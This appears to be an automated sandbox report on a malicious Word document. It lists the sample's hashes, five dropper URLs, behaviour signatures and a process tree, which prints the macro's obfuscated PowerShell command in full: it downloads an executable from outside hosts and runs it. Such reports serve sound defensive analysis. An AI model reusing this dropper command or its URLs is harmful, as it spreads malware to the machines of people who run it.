Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28-05-2024 18:53

General

  • Target

    7e048c48cf5c2879dc2a0a33101048a2_JaffaCakes118.doc

  • Size

    76KB

  • MD5

    7e048c48cf5c2879dc2a0a33101048a2

  • SHA1

    911f72f15361efb7c01fcde615c61c80656f0bdc

  • SHA256

    c63b801b73ffc4397fcd7f78b2c3658ef29751e6dc84ff1468dc9068cf237a42

  • SHA512

    44172ab2e73781abd5547059eb9463c21dbaf6d7813651c5463926cb1dd8be29f749028db57fba4cc2bb83fde5b99ccc82c08bc31299ef0b861667a80b94a22c

  • SSDEEP

    768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://samix-num.com/BcFUhvDr

exe.dropper

http://economiadigital.biz/NKq5eOZ

exe.dropper

http://ftp.dailyignite.club/YNB95t2

exe.dropper

http://migoshen.org/FNE1TVJjI

exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e048c48cf5c2879dc2a0a33101048a2_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1444
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2480
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2564

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\86D92CD.wmf
      Filesize

      494B

      MD5

      18c9c22d1e809b61ba821e7d552098e1

      SHA1

      f5f4227852a125795a1009dec0e2891348186ffc

      SHA256

      0465a3e4598564e09667defc86b1c0db0f94bae0a714f14009f2e33302f1feab

      SHA512

      9708548807dede5b1e2c6c37c6d19f5ef88f59c02203405ffd6f3df61293cfb7a1f076a6829c7cccd8f7c56c62713158e8f517885a2bfd5d81fc03eeb837e8ec

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      77bdd50c912c0702fca972d17713e6f6

      SHA1

      bb133685107199a5734caccfb790d220dd9efb8a

      SHA256

      c7ad814d2aa0f87b59cea378e0a86a6e252f6943165e9007b55ee869911569cb

      SHA512

      6b86192f2fb111d60c4a9b8fc0c75565d616504f53c9bda87f94c22bd78685674967f5c9d1ca1f77dcaf1f63b7abb57282c65444527f41fafad924cd49d43553

    • \??\PIPE\srvsvc
      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

    • memory/1228-30-0x0000000006590000-0x0000000006690000-memory.dmp
      Filesize

      1024KB

    • memory/1228-24-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1228-22-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1228-23-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1228-31-0x0000000006590000-0x0000000006690000-memory.dmp
      Filesize

      1024KB

    • memory/1228-0-0x000000002FC21000-0x000000002FC22000-memory.dmp
      Filesize

      4KB

    • memory/1228-27-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1228-8-0x00000000062F0000-0x00000000063F0000-memory.dmp
      Filesize

      1024KB

    • memory/1228-41-0x00000000712DD000-0x00000000712E8000-memory.dmp
      Filesize

      44KB

    • memory/1228-42-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1228-43-0x0000000006590000-0x0000000006690000-memory.dmp
      Filesize

      1024KB

    • memory/1228-2-0x00000000712DD000-0x00000000712E8000-memory.dmp
      Filesize

      44KB

    • memory/1228-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1228-60-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1228-65-0x00000000712DD000-0x00000000712E8000-memory.dmp
      Filesize

      44KB